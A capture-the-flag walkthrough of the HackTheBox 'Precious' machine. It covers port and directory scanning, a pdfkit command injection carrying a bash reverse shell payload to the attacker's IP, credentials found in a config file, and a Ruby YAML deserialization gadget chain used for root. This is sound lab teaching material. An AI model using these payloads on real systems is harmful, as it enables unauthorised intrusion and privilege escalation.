Precious HackTheBox Walkthrough
Initial Enumeration
Let us start the initial enumeration by running a port scan using nmap, looking for open ports and running services.
┌──(madhav㉿kali)-[~/ctf/htb/precious]
└─$ nmap -sC -sV -oN nmap/initial 10.10.11.189
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-26 21:32 IST
Nmap scan report for 10.10.11.189
Host is up (0.23s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 845e13a8e31e20661d235550f63047d2 (RSA)
| 256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_ 256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 60.88 seconds
There are only two ports open. We have SSH running on port 22 and nginx web server running on port 80. Let's start the enumeration with port 80 first. Port 80 redirects us to http://precious.htb
. Let us add this to our /etc/hosts
file.
┌──(madhav㉿kali)-[~/ctf/htb/precious]
└─$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
10.10.11.189 precious.htb
Web Enumeration
Now let's begin the enumeration by opening the IP address in our web browser.
Next, we can run a gobuster scan to look for hidden files and directories.
┌──(madhav㉿kali)-[~/ctf/htb/precious]
└─$ gobuster dir -u http://precious.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://precious.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
2022/12/26 21:38:56 Starting gobuster in directory enumeration mode
===============================================================
===============================================================
2022/12/26 21:54:34 Finished
===============================================================
The gobuster scan did not give us any results. I tried using another wordlist too, but there are no hidden files or directories. So let's explore the PDF functionality.
The website offers us a service which converts web pages to PDFs. Let us try this out. To test this, we need to start a python web server on our machine.
Submit the URL of your web server on the website. In my case it will be http://10.10.xx.xx:8000
. It gives us a PDF file as expected.
It looks like a normal PDF file. Let us check its metadata using exiftool
.
We can see an entry which says Created by pdfkit v0.8.6
. The pdfkit
is a library used to generate PDFs.
If we search on Google for this version number it gives us information about CVE-2022–25765
. It is vulnerable to command injection. You can read more about this vulnerability here. This vulnerability exists because of improper sanitisation of user input.
We can generate a reverse shell payload from revshells.com and add it with the URL. The final payload will look similar to this:
http://10.10.xx.xx:8000/?page=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.xx.xx/9001 0>&1"`'}
Submitting this payload will give us a reverse shell.
Privilege Escalation
We have two users on this box, henry
and ruby
. Currently we have a shell as user ruby
. We need to escalate our privileges to user henry
in order to read the user.txt
.
Looking around a bit more, we can find a file named config
in /home/ruby/.bundle
. It contains the credentials for user henry
.
We can login as user henry
via SSH and read the user flag!
┌──(madhav㉿kali)-[~/ctf/htb/precious]
└─$ ssh henry@precious.htb
henry@precious.htb's password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Dec 29 02:52:35 2022 from 10.10.14.66
-bash-5.1$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)
-bash-5.1$ cat user.txt
********************************
-bash-5.1$
Root Shell
Now that we’re logged in as the user henry
, let’s see what we can do. We can try running the sudo -l
command to check if we run any commands as user root.
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
The user henry
can execute the file /opt/update_dependencies.rb
as user root. Let's check the source code of this file.
After looking at the code, we can see that it uses the YAML.load()
function which we know is vulnerable to YAML deserialization attack. You can read more about YAML deserialization here.
In order for our RCE to work, we need to craft a payload in a new file called dependencies.yml
. I created this file in the home directory of user henry
.
henry@precious:~$ cat dependencies.yml
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: /bin/bash
method_id: :resolve
On executing /opt/update_dependencies.rb
, we get the root shell!
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/home/henry# cd /root
root@precious:~# cat root.txt
********************************
root@precious:~#
That's it! Thanks for reading. If you have any doubts/suggestions, you can share them below in the comments, I will be happy to help!
Stay tuned for similar walkthroughs and much more coming up in the near future!
NOTE: The awesome artwork used in this article was created by Alexey Kuvaldin.